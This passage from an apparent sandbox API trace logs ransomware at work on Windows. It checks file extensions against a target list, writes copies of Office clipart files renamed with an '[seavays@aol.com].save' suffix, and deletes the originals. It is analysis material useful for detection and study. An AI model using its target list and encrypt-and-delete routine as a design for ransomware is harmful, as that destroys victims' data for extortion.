Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.545] lstrlenW (lpString=".zip") returned 4 [0064.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.545] lstrlenW (lpString=".rar") returned 4 [0064.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString=".bz2") returned 4 [0064.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString=".7z") returned 3 [0064.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.545] lstrlenW (lpString=".dbf") returned 4 [0064.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.545] lstrlenW (lpString=".1cd") returned 4 [0064.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.546] lstrlenW (lpString=".jpg") returned 4 [0064.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.547] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.547] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.547] GetLastError () returned 0x0 [0064.547] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4354, lpOverlapped=0x0) returned 1 [0064.549] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4360, lpOverlapped=0x0) returned 1 [0064.550] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.550] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.550] SetEndOfFile (hFile=0x34c) returned 1 [0064.550] CloseHandle (hObject=0x34c) returned 1 [0064.551] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.551] SetEndOfFile (hFile=0x2f4) returned 1 [0064.552] CloseHandle (hObject=0x2f4) returned 1 [0064.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0064.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.553] lstrlenW (lpString=".doc") returned 4 [0064.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.553] lstrlenW (lpString=".docx") returned 5 [0064.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.553] lstrlenW (lpString=".pdf") returned 4 [0064.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.553] lstrlenW (lpString=".xls") returned 4 [0064.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.553] lstrlenW (lpString=".xlsx") returned 5 [0064.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.553] lstrlenW (lpString=".ppt") returned 4 [0064.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.554] lstrlenW (lpString=".zip") returned 4 [0064.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.554] lstrlenW (lpString=".rar") returned 4 [0064.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.554] lstrlenW (lpString=".bz2") returned 4 [0064.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.554] lstrlenW (lpString=".7z") returned 3 [0064.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.554] lstrlenW (lpString=".dbf") returned 4 [0064.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.554] lstrlenW (lpString=".1cd") returned 4 [0064.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0064.554] lstrlenW (lpString=".jpg") returned 4 [0064.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.555] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.555] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.555] GetLastError () returned 0x0 [0064.555] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0065.024] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0065.026] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.026] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.026] SetEndOfFile (hFile=0x34c) returned 1 [0065.026] CloseHandle (hObject=0x34c) returned 1 [0065.027] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.027] SetEndOfFile (hFile=0x2f4) returned 1 [0065.028] CloseHandle (hObject=0x2f4) returned 1 [0065.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString=".doc") returned 4 [0065.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString=".docx") returned 5 [0065.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.158] lstrlenW (lpString=".pdf") returned 4 [0065.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString=".xls") returned 4 [0065.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.158] lstrlenW (lpString=".xlsx") returned 5 [0065.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.158] lstrlenW (lpString=".ppt") returned 4 [0065.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString=".zip") returned 4 [0065.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.158] lstrlenW (lpString=".rar") returned 4 [0065.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString=".bz2") returned 4 [0065.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString=".7z") returned 3 [0065.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString=".dbf") returned 4 [0065.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString=".1cd") returned 4 [0065.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0065.158] lstrlenW (lpString=".jpg") returned 4 [0065.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.643] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.643] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0065.644] GetLastError () returned 0x0 [0065.644] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0065.648] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0065.649] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.649] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.649] SetEndOfFile (hFile=0x36c) returned 1 [0065.650] CloseHandle (hObject=0x36c) returned 1 [0065.651] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.651] SetEndOfFile (hFile=0x370) returned 1 [0065.652] CloseHandle (hObject=0x370) returned 1 [0065.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString=".doc") returned 4 [0065.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString=".docx") returned 5 [0065.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.653] lstrlenW (lpString=".pdf") returned 4 [0065.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString=".xls") returned 4 [0065.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.653] lstrlenW (lpString=".xlsx") returned 5 [0065.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.653] lstrlenW (lpString=".ppt") returned 4 [0065.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString=".zip") returned 4 [0065.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.653] lstrlenW (lpString=".rar") returned 4 [0065.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString=".bz2") returned 4 [0065.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString=".7z") returned 3 [0065.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString=".dbf") returned 4 [0065.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString=".1cd") returned 4 [0065.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0065.653] lstrlenW (lpString=".jpg") returned 4 [0065.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.654] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.654] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0065.655] GetLastError () returned 0x0 [0065.655] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0065.657] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0065.658] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.658] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.658] SetEndOfFile (hFile=0x36c) returned 1 [0065.658] CloseHandle (hObject=0x36c) returned 1 [0065.660] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.660] SetEndOfFile (hFile=0x370) returned 1 [0065.661] CloseHandle (hObject=0x370) returned 1 [0065.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0065.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.661] lstrlenW (lpString=".doc") returned 4 [0065.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.661] lstrlenW (lpString=".docx") returned 5 [0065.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.662] lstrlenW (lpString=".pdf") returned 4 [0065.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString=".xls") returned 4 [0065.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.662] lstrlenW (lpString=".xlsx") returned 5 [0065.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.662] lstrlenW (lpString=".ppt") returned 4 [0065.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.662] lstrlenW (lpString=".zip") returned 4 [0065.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.662] lstrlenW (lpString=".rar") returned 4 [0065.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString=".bz2") returned 4 [0065.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString=".7z") returned 3 [0065.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.662] lstrlenW (lpString=".dbf") returned 4 [0065.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.662] lstrlenW (lpString=".1cd") returned 4 [0065.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0065.662] lstrlenW (lpString=".jpg") returned 4 [0065.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0065.664] GetLastError () returned 0x0 [0065.664] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0065.665] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0065.666] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.667] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.667] SetEndOfFile (hFile=0x36c) returned 1 [0065.667] CloseHandle (hObject=0x36c) returned 1 [0065.668] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.668] SetEndOfFile (hFile=0x370) returned 1 [0065.669] CloseHandle (hObject=0x370) returned 1 [0065.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0065.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.670] lstrlenW (lpString=".doc") returned 4 [0065.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString=".docx") returned 5 [0065.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.670] lstrlenW (lpString=".pdf") returned 4 [0065.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString=".xls") returned 4 [0065.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.670] lstrlenW (lpString=".xlsx") returned 5 [0065.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.670] lstrlenW (lpString=".ppt") returned 4 [0065.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.670] lstrlenW (lpString=".zip") returned 4 [0065.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.670] lstrlenW (lpString=".rar") returned 4 [0065.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString=".bz2") returned 4 [0065.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString=".7z") returned 3 [0065.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.670] lstrlenW (lpString=".dbf") returned 4 [0065.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.670] lstrlenW (lpString=".1cd") returned 4 [0065.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0065.671] lstrlenW (lpString=".jpg") returned 4 [0065.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.673] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.673] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0065.673] GetLastError () returned 0x0 [0065.673] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2244, 